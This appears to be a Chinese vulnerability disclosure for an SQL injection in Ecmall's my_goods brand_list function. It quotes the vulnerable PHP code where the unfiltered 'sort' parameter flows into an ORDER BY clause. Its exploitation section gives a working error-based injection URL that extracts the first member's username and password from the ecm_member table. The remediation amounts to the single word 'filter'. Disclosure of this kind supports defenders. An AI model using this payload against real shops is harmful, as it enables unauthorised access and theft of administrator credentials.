Ecmall某处SQL注入漏洞
缺陷文件：/app/my_goods.app.php
function brand_list()
{
if (!empty($_GET['brand_name']) || !empty($_GET['store']))
{
$_GET['brand_name'] && $filtered = " AND brand_name LIKE '%{$_GET['brand_name']}%'";
$_GET['store'] && $filtered = $filtered . " AND store_id = " . $this->_store_id;
}
if (isset($_GET['sort']) && isset($_GET['order']))
{
$sort = strtolower(trim($_GET['sort'])); //未过滤
$order = strtolower(trim($_GET['order']));
if (!in_array($order,array('asc','desc')))
{
$sort = 'store_id';
$order = 'desc';
}
}
else
{
$sort = 'store_id';
$order = 'desc';
}
$page = $this->_get_page(10);
$conditions = $this->_get_query_conditions($con);
$brand = $this->_brand_mod->find(array( //跟踪
'conditions' => "(1=1 $conditions)" . $filtered,
'limit' => $page['limit'],
'order' => "$sort $order",//here
'count' => true,
));
function find($params = array())
{
extract($this->_initFindParams($params));
/* 字段(SELECT FROM) */
$fields = $this->getRealFields($fields);
$fields == '' && $fields = '*';
$tables = $this->table . ' ' . $this->alias;
/* 左联结(LEFT JOIN) */
$join_result = $this->_joinModel($tables, $join);
/* 原来为($join_result || $index_key)，忘了最初的用意，默认加上主键应该是只为了为获得索引的数组服务的，因此只跟索引键是否是主键有关 */
if ($index_key == $this->prikey || (is_array($index_key) && in_array($this->prikey, $index_key)))
{
/* 如果索引键里有主键，则默认在要查询字段后加上主键 */
$fields .= ",{$this->alias}.{$this->prikey}";
}
/* 条件(WHERE) */
$conditions = $this->_getConditions($conditions, true);
/* 排序(ORDER BY) */
$order && $order = ' ORDER BY ' . $this->getRealFields($order);//跟踪
……
function getRealFields($src_fields_list)
{
$fields = $src_fields_list;
if (!$src_fields_list)
{
$fields = '';
}
$fields = preg_replace('/([a-zA-Z0-9_]+)\.([a-zA-Z0-9_*]+)/e', "\$this->_getFieldTable('\\1') . '.\\2'", $fields);//对注射语句没有影响
return $fields;
}
function _getFieldTable($owner)
{
if ($owner == 'this')
{
return $this->alias;
}
else
{
$m =& m($owner);
if ($m === false)
{
/* 若没有对象，则原样返回 */
return $owner;
}
return $m->alias;
}
}
存在注射
利用方法：
注册会员开一个店铺
访问：index.php?app=my_goods&act=brand_list&order=asc&sort=1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)%23
即可爆出用户名密码
修复方案：
过滤